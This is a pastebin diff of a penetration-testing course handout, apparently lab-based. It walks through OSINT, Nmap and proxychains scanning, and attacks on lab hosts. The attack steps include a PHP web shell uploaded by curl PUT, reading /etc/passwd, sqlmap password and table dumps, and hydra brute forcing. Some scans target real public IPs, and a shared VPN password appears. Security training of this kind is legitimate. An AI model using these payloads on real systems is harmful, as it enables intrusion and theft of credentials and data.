View difference between Paste ID: amsAEjH7 and 4rdG7v78
SHOW: | | - or go back to the newest paste.
1
########################################################
2
# CyberWar: Advanced Offensive Cyber Operations        #
3
# By Joe McCray of Strategic Security                  #
4
########################################################
5
6
7
8
#########################
9
# Class Virtual Machine #
10
#########################
11
12
13
Here is the VMWare virtual machine for the class:
14
 
15-
https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
15+
https://infosecaddictsfiles.blob.core.windows.net/vms/InfoSecAddictsVM.zip
16
user:      infosecaddicts
17
pass:      infosecaddicts
18
19
20
21
22
23
################
24
# Day 1: OSINT #
25
################
26
OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first. 
27
28
Here is an an OSINT report that I did for a customer of mine a few years ago:
29-
https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc
29+
https://infosecaddictsfiles.blob.core.windows.net/files/OSINT_Innophos_11242010.doc
30
31
Let's see if you can do a better one than me....
32
33
34
Here are a few places to start:
35
36
- Wikipedia Page
37
    - Are they Public or Private?
38
    - Does the target have any subsidiaries?
39
    - Who are the key people
40
 
41
- Robtex
42
    - Show system map
43
    - Are they behind a CDN
44
 
45
- Netcraft
46
    - http://toolbar.netcraft.com/site_report
47
    - Are they using a Loadbalancer like F5 BigIP, or Citrix NetScaler
48
 
49
- Passive Recon (Firefox Add-on)
50
  Download it from: https://addons.mozilla.org/en-US/firefox/addon/passiverecon/
51
52
53
54
55
Your first task:
56
----------------
57
Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies: 
58
NSA
59
HSBC
60
Coke
61
Exxon Mobil
62
KPMG
63
Accenture
64
NewYork-Presbyterian Hospital
65
Kroger
66
Dillard's
67
Royal Caribbean International
68
69
70
71
Tools that are good for OSINT:
72
------------------------------
73
Here are some tools that I think you should consider using for this challenge: 
74
FOCA
75
Maltego
76
Search Diggity
77
ShodanHQ
78
PassiveRecon
79
EDGAR
80
theHarvester
81
gxfr.py
82
VisualRoute
83
84
85
86
87
88
********************************** Begin Day 1 Homework Part 1 **********************************
89
NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
90
91
92
You must create a MS WORD document titled 'FirstName-LastName-Cyberwar-Day1-OSINT-Report.docx' (ex: Joseph-McCray-CyberWar-Day1-OSINT-Report.docx).
93
94
You must spell you name EXACTLY as you want it spelled on your class certificate.
95
96
IMPORTANT NOTE:
97
Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
98
99
100
********************************** End Day 1 Homework Part 1 **********************************
101
102
103
104
105
Email Harvesting
106
----------------
107
108
cd ~/toolz/
109
110
rm -rf theharvester-read-only/
111
112
sudo apt install -y python-pyasn1 python-pyasn1-modules
113
     infosecaddicts
114
115
git clone https://github.com/laramies/theHarvester.git
116
117
cd theHarvester/
118
119
python theHarvester.py
120
121
python theHarvester.py -d motorola.com -l 50 -b google
122
123
python theHarvester.py -d motorola.com -l 50 -b bing
124
125
python theHarvester.py -d motorola.com -l 50 -b linkedin
126
127
python theHarvester.py -d motorola.com -l 50 -b pgp
128
129
130
131
132
133
File Meta-Data Harvesting
134
-------------------------
135
cd ~/toolz/
136
137
sudo apt install -y python-pip
138
     infosecaddicts
139
140
sudo pip install google
141
     infosecaddicts
142
143
git clone https://github.com/opsdisk/metagoofil.git
144
145
cd metagoofil/
146
147
148
python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
149
150
sudo apt install -y libimage-exiftool-perl
151
152
exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
153
154
155
156
157
158
python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
159
Whereas:
160
161
-d : I used another domain name aside from Google.com to make it work
162
-t : I asked for the program to search two types of public documents whuch are doc and pdf files
163
-l : I limited the search result to 100 to make the process faster
164
-n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
165
-o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
166
-f : Save the html links to html_links_<TIMESTAMP>.txt file
167
168
169
170
171
172
173
Github Info Harvesting
174
----------------------
175
cd ~/toolz/
176
177
sudo pip install gitem
178
	infosecaddicts
179
180
gitem organization facebook
181
182
183
gitem repository facebook react
184
185
186
gitem --processes 4 user zpao
187
     ** This should give you a rate limit error. You need to create an OAuth token like my example below
188
189
gitem -o xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx --processes 4 user zpao
190
191
192
Github Access Token Creation Reference:
193
https://help.github.com/articles/creating-an-access-token-for-command-line-use/
194
195
196
Network Topology Enumeration (NOTE: This tool may not work anymore due to changes at BING)
197
------------------------------------------------------------------------------------------
198
199
cd ~/toolz/
200
201
wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
202
203
python gxfr.py --bxfr --dns-lookup -o
204
	motorola.com
205
	[ press enter ]
206
	cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
207
208
------------------------------------------------------------------------------------------
209
210
211
cd ~/toolz/
212
213
rm -rf fierce2/
214
215
git clone https://github.com/mschwager/fierce.git
216
217
cd fierce
218
219
sudo apt install -y python3-pip
220
	infosecaddicts
221
222
sudo pip3 install -r requirements.txt
223
224
python3 fierce.py -h
225
226
python3 fierce.py --domain motorola.com --subdomains accounts admin ads
227
Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
228
229
python3 fierce.py --domain facebook.com --subdomains accounts --traverse 10
230
231
232
Limit nearby IP traversal to certain domains with the --search flag:
233
234
python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
235
236
237
Attempt an HTTP connection on domains discovered with the --connect flag:
238
239
python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
240
241
242
243
244
245
246
Recon-NG (Metasploit for Recon):
247
--------------------------------
248
cd ~/toolz/
249
250
sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
251
	infosecaddicts
252
253
sudo pip install dicttoxml
254
	infosecaddicts
255
256
257
258
git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
259
cd recon-ng
260
./recon-ng
261
262
263
264
At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
265
266
recon-ng > help
267
268
269
Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
270
271
recon-ng > [ TAB ] [ TAB ] 
272
273
274
275
To see all the modules in Recon-ng, we can type:
276
277
recon-ng > show [ TAB ] [ TAB ] 
278
279
280
281
Ok, let's drive this thing....
282
283
recon-ng > show banner
284
285
recon-ng > show companies
286
287
recon-ng > show contacts
288
289
recon-ng > show credentials
290
291
recon-ng > show dashboard
292
293
recon-ng > show domains
294
295
recon-ng > show hosts
296
297
recon-ng > show keys
298
299
recon-ng > show leaks
300
301
recon-ng > show locations
302
303
recon-ng > show modules
304
305
recon-ng > show netblocks
306
307
recon-ng > show options
308
309
recon-ng > show ports
310
311
recon-ng > show profiles
312
313
recon-ng > show pushpins
314
315
recon-ng > show repositories
316
317
recon-ng > show schema
318
319
recon-ng > show vulnerabilities
320
321
recon-ng > show workspaces
322
323
324
325
326
327
When you have found a module that you would like to try the process is fairly straight forward.
328
329
Type, “use [Modulename]” to use the module
330
331
Type, “show info” to view information about the module
332
333
And then, “show options” to see what variables can be set
334
335
Set the option variables with “set [variable]”
336
337
Finally, type “run” to execute the module
338
339
340
341
342
343
344
********************************** Begin Day 1 Homework Part 2 **********************************
345
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
346
347
348
You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
349
350
351
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day1-Recon-NG.docx' (ex: Joseph-McCray-Cyberwar-Day1-Recon-NG.docx).
352
353
You must spell you name EXACTLY as you want it spelled on your class certificate.
354
355
356
Reference links:
357
http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
358
http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
359
360
IMPORTANT NOTE:
361
Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday May 21st at midnight EST.
362
363
********************************** End Day 1 Homework Part 2 **********************************
364
365
366
367
368
369
370
371
372
373
############################
374
# Day 2: Advanced Scanning #
375
############################
376
Today will be heavily focused on scanning. We're going to scan, then scan again, and then scan some more. When we are doing scanning - we are going to scan some more....
377
378
379
380
381
########################
382
# Scanning Methodology #
383
########################
384
 
385
- Ping Sweep
386
What's alive?
387
------------
388
sudo nmap -sP 157.166.226.*
389
     infosecaddicts
390
 
391
    -if -SP yields no results try:
392
393
sudo nmap -sL 157.166.226.*
394
     infosecaddicts
395
 
396
sudo nmap -sL 157.166.226.* | grep com
397
     infosecaddicts
398
399
- Port Scan
400
What's where?
401
------------
402
sudo nmap -sS 162.243.126.247
403
     infosecaddicts
404
 
405
 
406
- Bannergrab/Version Query
407
What versions of software are running
408
-------------------------------------
409
sudo nmap -sV 162.243.126.247
410
     infosecaddicts
411
 
412
 
413
- Vulnerability Research
414
Lookup the banner versions for public exploits
415
----------------------------------------------
416
http://exploit-db.com
417
http://securityfocus.com/bid
418
https://packetstormsecurity.com/files/tags/exploit/
419
420
Example lookup for this scan would be:
421
https://web.nvd.nist.gov/view/vuln/search-results?query=nginx&search_type=all&cves=on
422
 
423
 
424
425
426
427
NOTE:
428
Gereon, gave us a nice tip today about using IPTables ConnTrack:
429
iptables -I INPUT -m state -p icmp --echo-type echo-reply -j ACCEPT --state RELATED 
430
431
His point was that if you only accept echo-reply by related/state related all of the bogus answers will be dropped as the TTL decrement will be out of whack.
432
433
You can see this point with another tool. I'll get you the syntax later today.
434
435
436
 
437
#######################################################
438
# Day 2: 3rd Party Scanning, and scanning via proxies #
439
#######################################################
440
 
441
https://www.shodan.io/
442
 
443
    Create a FREE account and login
444
 
445
    net:129.188.8.0/24
446
 
447
 
448
 
449
 
450
451
Scanning via Tor/proxychains
452
----------------------------
453
sudo apt install -y tor proxychains ntpdate
454
455
sudo vi /etc/proxychains.conf				<--- Make sure that last line of the file is: Socks4  127.0.0.1 9050
456
457
sudo ntpdate pool.ntp.org
458
	infosecaddicts
459
460
tor-resolve room362.com
461
462
proxychains nmap -sT -p80 162.243.126.247
463
464
proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
465
466
467
468
469
470
471
472
------------------------------------------------------
473
cd ~/toolz
474
git clone https://github.com/sensepost/glypeahead.git
475
cd glypeahead/
476
vi config.php
477
478
****make the following change****
479
'proxies'       =>      array(
480
                'https://branon.co.uk/glype/desktop-free/index.php',		<--- line 40
481
                'http://ricardoalcala.com/index.php',
482
        )
483
484
485
php glypeahead config.php
486
487
488
489
490
#########################
491
# Playing with Nmap NSE #
492
#########################
493
 
494
nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
495
 
496
nmap -p80 --script dns-brute infosecaddicts.com
497
 
498
nmap --script http-robtex-reverse-ip secore.info
499
 
500
nmap -Pn -p80 --script=http-headers infosecaddicts.com
501
 
502
 
503
ls /usr/share/nmap/scripts | grep http
504
nmap -Pn -p80 --script=http-* infosecaddicts.com
505
506
507
508
 
509
510
511
512
513
514
515
516
517
518
519
###################################
520
# Day 2: Scanning the lab network #
521
###################################
522
523
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
524
Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack. 
525
If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
526
527
So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
528-
https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf 
528+
https://infosecaddictsfiles.blob.core.windows.net/files/Strategic-Security-2017-VPN-Info.pdf 
529
vpn username: {first_initial.last_name}  example: j.mccray
530
vpn password: vpnVPN1234!@#$
531
532
533
sudo nmap -sP 10.0.0.0/24
534
     infosecaddicts
535
536
537
sudo nmap -sL 10.0.0.0/24
538
     infosecaddicts
539
540
cd ~/toolz
541
542
wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
543
544
gcc ipcrawl.c -o ipcrawl
545
546
chmod 777 ipcrawl
547
548
./ipcrawl 10.0.0.1 10.0.0.254
549
550
551
552
wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
553
554
gcc propecia.c -o propecia
555
556
sudo cp propecia /bin
557
     infosecaddicts
558
559
propecia 10.0.0 22
560
561
propecia 10.0.0 3389
562
563
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
564
565
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
566
567
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
568
569
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
570
571
nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
572
573
cat ~/labnet-ip-list.txt
574
575
#################################################
576
# Screenshotting the Web Servers in the Network #
577
#################################################
578
cd ~/toolz/
579
mkdir labscreenshots
580
cd labscreenshots/
581
 
582
 
583
wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
584
tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
585
cd wkhtmltox/bin/
586
sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
587
 
588
 
589
cd ~/toolz/
590
git clone git://github.com/SpiderLabs/Nmap-Tools.git
591
cd Nmap-Tools/NSE/
592
593
sudo cp http-screenshot.nse /usr/share/nmap/scripts/
594
     infosecaddicts
595
 
596
sudo nmap --script-updatedb
597
     infosecaddicts
598
 
599
 
600
cd ~/toolz/labscreenshots/
601
sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
602
     infosecaddicts
603
 
604
 
605
 
606
 
607
vi screenshots.sh
608
 
609
#!/bin/bash
610
printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
611
ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
612
printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
613
 
614
 
615
 
616
 
617
 
618
sh screenshots.sh
619
620
621
python -m SimpleHTTPServer
622
623
624
--- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html):
625
http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html
626
627
628
629
630
##########################
631
# Nmap NSE tricks to try #
632
##########################
633
sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
634
     infosecaddicts
635
636
sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
637
     infosecaddicts
638
639
sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
640
     infosecaddicts
641
642
sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
643
     infosecaddicts
644
645
sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
646
     infosecaddicts
647
648
sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
649
     infosecaddicts
650
651
sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
652
     infosecaddicts
653
654
sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
655
     infosecaddicts
656
657
sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
658
     infosecaddicts
659
660
sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
661
     infosecaddicts
662
663
sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
664
     infosecaddicts
665
666
sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
667
     infosecaddicts
668
669
670
sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
671
     infosecaddicts
672
673
674
#####################################
675
# Writing Your Own Nmap NSE Scripts #
676
#####################################
677
678
 
679
----------------------------------------------------------------------
680
sudo vi /usr/share/nmap/scripts/intro-nse.nse
681
 
682
-- The Head Section --
683
-- The Rule Section --
684
portrule = function(host, port)
685
    return port.protocol == "tcp"
686
            and port.number == 80
687
            and port.state == "open"
688
end
689
 
690
-- The Action Section --
691
action = function(host, port)
692
    return "CyberWar!"
693
end
694
----------------------------------------------------------------------
695
 
696
- Ok, now that we've made that change let's run the script
697
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
698
 
699
 
700
 
701
 
702
 
703
 
704
----------------------------------------------------------------------
705
sudo vi /usr/share/nmap/scripts/intro-nse.nse
706
 
707
-- The Head Section --
708
local shortport = require "shortport"
709
 
710
-- The Rule Section --
711
portrule = shortport.http
712
 
713
 
714
-- The Action Section --
715
action = function(host, port)
716
    return "CyberWar!"
717
end
718
----------------------------------------------------------------------
719
 
720
- Ok, now that we've made that change let's run the script
721
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
722
 
723
 
724
 
725
 
726
 
727
 
728
 
729
OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
730
 
731
----------------------------------------------------------------------
732
sudo vi /usr/share/nmap/scripts/intro-nse.nse
733
 
734
-- The Head Section --
735
local shortport = require "shortport"
736
local http = require "http"
737
 
738
-- The Rule Section --
739
portrule = shortport.http
740
 
741
-- The Action Section --
742
action = function(host, port)
743
 
744
    local uri = "/installing-metasploit-in-ubunt/"
745
    local response = http.get(host, port, uri)
746
    return response.status
747
 
748
end
749
----------------------------------------------------------------------
750
 
751
- Ok, now that we've made that change let's run the script
752
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
753
 
754
 
755
 
756
 
757
----------------------------------------------------------------------
758
sudo vi /usr/share/nmap/scripts/intro-nse.nse
759
 
760
-- The Head Section --
761
local shortport = require "shortport"
762
local http = require "http"
763
 
764
-- The Rule Section --
765
portrule = shortport.http
766
 
767
-- The Action Section --
768
action = function(host, port)
769
 
770
    local uri = "/installing-metasploit-in-ubunt/"
771
    local response = http.get(host, port, uri)
772
 
773
    if ( response.status == 200 ) then
774
        return response.body
775
    end
776
 
777
end
778
----------------------------------------------------------------------
779
 
780
- Ok, now that we've made that change let's run the script
781
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
782
 
783
 
784
 
785
 
786
 
787
 
788
 
789
 
790
 
791
----------------------------------------------------------------------
792
sudo vi /usr/share/nmap/scripts/intro-nse.nse
793
 
794
-- The Head Section --
795
local shortport = require "shortport"
796
local http = require "http"
797
local string = require "string"
798
 
799
-- The Rule Section --
800
portrule = shortport.http
801
 
802
-- The Action Section --
803
action = function(host, port)
804
 
805
    local uri = "/installing-metasploit-in-ubunt/"
806
    local response = http.get(host, port, uri)
807
 
808
    if ( response.status == 200 ) then
809
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
810
        return title
811
    end
812
 
813
end
814
----------------------------------------------------------------------
815
 
816
- Ok, now that we've made that change let's run the script
817
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
818
 
819
 
820
 
821
 
822
 
823
 
824
 
825
----------------------------------------------------------------------
826
sudo vi /usr/share/nmap/scripts/intro-nse.nse
827
 
828
-- The Head Section --
829
local shortport = require "shortport"
830
local http = require "http"
831
local string = require "string"
832
 
833
-- The Rule Section --
834
portrule = shortport.http
835
 
836
-- The Action Section --
837
action = function(host, port)
838
 
839
    local uri = "/installing-metasploit-in-ubunt/"
840
    local response = http.get(host, port, uri)
841
 
842
    if ( response.status == 200 ) then
843
        local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
844
 
845
        if (title) then
846
            return "Vulnerable"
847
        else
848
            return "Not Vulnerable"
849
        end
850
    end
851
end
852
 
853
----------------------------------------------------------------------
854
 
855
- Ok, now that we've made that change let's run the script
856
sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
857
858
859
860
********************************** Begin Day 2 Homework Part 1 **********************************
861
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
862
863
You must take screenshots of you performing all of the scanning tasks that we have done so far today
864
865
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day2-Adv-Scanning.docx' (ex: Joseph-McCray-CyberWar-Day2-Adv-Scanning.docx).
866
867
You must spell you name EXACTLY as you want it spelled on your class certificate.
868
869
IMPORTANT NOTE:
870
Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
871
872
********************************** End Day 2 Homework Part 1 **********************************
873
874
875
876
877
878
879
##########
880
# Day 3: #
881
##########
882
Today I gave the students access to a folder in my Google Drive that allowed the students to share data and they also joined https://chat.strategicsec.com/channel/cyberwar so they can communicate with each other. 
883
884
The goal for today is for the class to attack 10.0.0.14 together and see what they can learn.
885
886
887
888
#######################
889
# Attacking 10.0.0.14 #
890
#######################
891
892
Step 1: Nmap Scan
893
894
sudo nmap -sV -Pn 10.0.0.14
895
896
897
898
Step 2: Nikto Scan
899
900
cd ~/toolz
901
rm -rf nikto/
902
sudo apt install -y nikto
903
nikto -h 10.0.0.14
904
905
906
Step 3: Directory Bruteforce
907
https://sourceforge.net/projects/dirbuster/
908
909
910
911
Step 4: Enumerate Server options (confirm nikto results)
912
913
curl -vX OPTIONS 10.0.0.14/test
914
mkdir webshellz
915
cd webshellz/
916
vi cmd.php
917
918
---------------------------------------------
919
<HTML><BODY>
920
<FORM METHOD="GET" NAME="myform" ACTION="">
921
<INPUT TYPE="text" NAME="cmd">
922
<INPUT TYPE="submit" VALUE="Send">
923
</FORM>
924
<pre>
925
<?
926
if($_GET['cmd']) {
927
  system($_GET['cmd']);
928
  }
929
?>
930
</pre>
931
</BODY></HTML>
932
---------------------------------------------
933
934
935
936
curl -vX PUT -d "$(cat cmd.php)" 10.0.0.14/test/cmd.php
937
938
939
940
941
Now use your web browser to browse to page:
942
http://10.0.0.14/test/cmd.php
943
944
945
Enter the following commands:
946
/sbin/ifconfig
947
pwd
948
id
949
uname -a
950
cat /etc/passwd
951
952
953
954
Figure out how to root this box!!!!!!!!!!!!!!!!
955
956
957
958
######################
959
# Attacking 10.0.0.5 #
960
######################
961
962
Step 1: Nmap Scan
963
964
sudo nmap -sV -Pn 10.0.0.5
965
966
967
968
Step 2: Nikto Scan
969
970
cd ~/toolz
971
972
perl nikto.pl -h 10.0.0.5
973
974
cd /home/infosecaddicts/toolz/sqlmap-dev
975
976
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 -s ./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode
977
978
979
Security Issue 1: Directory Browsing
980
------------------------------------
981
http://10.0.0.5/bin/
982
983
Browse to this URL in your web browser.
984
985
986
You may want to go for a hail mary and decompile the DLL files with something like JetPack: https://www.jetbrains.com/decompiler/ but don't get your hopes up.
987
988
989
Attacking 10.0.0.5 with SQLMap
990
------------------------------
991
cd /home/infosecaddicts/toolz/sqlmap-dev
992
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode
993
994
cd /home/infosecaddicts/.sqlmap/output/10.0.0.5
995
ls
996
997
cd ~/toolz/sqlmap-dev/
998
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs
999
1000
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user
1001
1002
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --passwords
1003
1004
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables
1005
1006
python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables --dump
1007
1008
1009
1010
################################
1011
# Attacking Big Data Solutions #
1012
################################
1013
1014
propecia 10.0.0 27017
1015
1016
1017
sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
1018
     infosecaddicts
1019
1020
1021
1022
1023
Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
1024
There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
1025
1026
One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
1027
1028
1029
1030
sudo apt install -y git python-setuptools
1031
1032
cd ~/toolz
1033
1034
mkdir arsenal
1035
1036
cd arsenal
1037
1038
git clone https://github.com/tcstool/nosqlmap.git
1039
1040
cd nosqlmap
1041
1042
sudo python setup.py install
1043
     infosecaddicts
1044
1045
python nosqlmap.py
1046
1
1047
1048
1					(set options)
1049
	10.0.0.8			(set target IP)
1050
1051
1052
7	<your IP>			(set attacker host ip)
1053
1054
1055
x					(back to main menu)
1056
1057
2					(DB access attack option)
1058
1059
1060
1					(Get server info)
1061
1062
1063
2					(Enumerate Databases/Collections/Users)
1064
1065
1066
3					(Check for GridFS)
1067
					GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
1068
1069
1070
1071
1072
1073
Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
1074
1075
1076
1077
1078
********************************** Begin Day 3 Homework Part 1 **********************************
1079
NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
1080
1081
You must take screenshots of you performing all of the scanning tasks that we have done so far today
1082
1083
You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day3.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).
1084
1085
You must spell you name EXACTLY as you want it spelled on your class certificate.
1086
1087
IMPORTANT NOTE:
1088
Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
1089
1090
********************************** End Day 3 Homework Part 1 **********************************
1091
1092
1093
1094
##########
1095
# Day 4: #
1096
##########
1097
1098
1099
1100
######################
1101
# Attacking 10.0.0.7 #
1102
######################
1103
1104
Step 1: Nmap Scan
1105
sudo nmap -Pn -sV -T 5 10.0.0.7
1106
1107
1108
Step 2: Open a browswer
1109
Point your browser to http://10.0.0.7/
1110
1111
1112
Step 3: Download the picture in the website:
1113
wget http://10.0.0.7/main.gif
1114
exiftool main.gif
1115
1116
1117
Step 4: What's the password
1118
1119
Point your browser to http://10.0.0.7/kzMb5nVYJw/ and then view source.
1120
1121
From there you'll see that it tells you that the password is a simple one.
1122
1123
1124
cd ~/toolz/
1125
echo dbo >> list.txt
1126
echo sa >> list.txt
1127
echo admin >> list.txt
1128
echo root >> list.txt
1129
echo password >> list.txt
1130
echo pass >> list.txt
1131
echo hello >> list.txt
1132
echo goodbye >> list.txt
1133
echo test >> list.txt
1134
echo admin >> list.txt
1135
echo elite >> list.txt
1136
echo db >> list.txt
1137
echo god >> list.txt
1138
echo 123 >> list.txt
1139
echo letmein >> list.txt
1140
echo omega >> list.txt
1141
1142
1143
1144
hydra -l none -P list.txt 10.0.0.7 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
1145
1146
1147
cd ~/toolz/sqlmap-dev/
1148
1149
